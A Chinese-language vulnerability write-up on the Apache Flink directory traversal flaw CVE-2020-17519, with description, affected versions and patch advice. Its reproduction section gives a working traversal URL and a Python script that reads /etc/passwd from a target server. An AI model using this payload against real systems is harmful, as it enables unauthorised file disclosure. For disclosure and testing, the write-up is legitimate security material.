Apache Flink目录遍历(CVE-2020-17519)
2024-09-05 08:08:10
1.漏洞描述
2021年1月5日,Apache Flink官方发布安全更新,修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞,漏洞之一就是Apache Flink目录遍历漏洞(CVE-2020-17519)。
Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致目录遍历和任意文件写入漏洞,风险较大,阿里云应急响应中心提醒 Flink 用户尽快采取安全措施阻止漏洞攻击。
2.漏洞产生原因
CVE-2020-17519:攻击者可通过REST API使用../跳目录实现系统任意文件读取。
3.影响范围
Apache Flink 1.5.1 ~ 1.11.2
4.复现
poc:
192.168.45.20:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
单个脚本:
import argparse
import requests
global headers
headers={'cookie': 'UM_distinctid=17333bd886662-037f6fda493dae-4c302372-100200-17333bd8867b; CNZZDATA1278305074=612386535-1594299183-null%7C1594299183; PHPSESSID=drh67vlau4chdn44eadh0m16a0',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'}
class Apache_Flink():
def url(self):
parser = argparse.ArgumentParser(description='Apache Flink(CVE-2020-17519)路径遍历漏洞检测POC')
parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:8090')
args = parser.parse_args()
global target_url
target_url = args.target_url
print("Apache Flink(CVE-2020-17519)路径遍历漏洞检测POC!!")
print("正在执行检测...")
print("目标地址:",target_url)
return target_url
def check(self):
poc = r"/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
url = target_url + poc
try:
re = requests.get(url,headers=headers,timeout=4)
if re.status_code==200 and "root:x" in re.text:
print('漏洞存在')
else:
print('漏洞不存在')
except:
print('访问异常')
if __name__ == '__main__':
flink = Apache_Flink()
flink.url()
flink.check()
批量脚本:https://github.com/B1anda0/CVE-2020-17519
6.修补建议
所有用户升级到Flink 1.11.3或1.12.0,下载链接为:
https://flink.apache.org/downloads.html
https://flink.apache.org/downloads.html
最新文章
- COGS746. [网络流24题] 骑士共存
- [转]Java中的事务
- struts2笔记4
- android:layout_gravity和android:gravity的区别
- imx6 uboot lvds clock
- Entity Framework只entity与DbContext的分离
- 整理一些js中常见的问题
- 用CImage类来显示PNG、JPG等图片
- 005.ClearStoredGroups方法
- IOS中用模型取代字典的好处
- Properties文件的XML格式(转)
- 二分三角形的时候尤其需要注意!!! HDU 5115 二分+模拟
- Win7 “Bluetooth设置”对话框无法打开,及无法查找到设备
- JavaScript函数声明提升
- 统计iis日志第一例的次数
- 面向连接的TCP概述
- 解决在vue中axios请求超时的问题
- spring boot 2.0.3+spring cloud (Finchley)3、声明式调用Feign
- C++学习札记(3)
- Nginx配置基于ip的虚拟主机
热门文章
- celery异步任务体系笔记
- 用命令行开启关闭windows系统服务
- Mybatis基础使用方法
- 多目标跟踪:CVPR2019论文阅读
- YOLO v4分析
- Docker App应用
- 外部NORFlash是第一个以硬件为基础的信任
- 笔记-13-多线程 Thread方法 线程安全 生产者和消费者 死锁和阻塞 练习
- 【Python报错】RuntimeError: DataLoader worker (pid(s) 9764, 15128) exited unexpectedly
- 【NX二次开发】导出x_t、导入x_t例子,UF_PS_export_data、UF_PS_import_data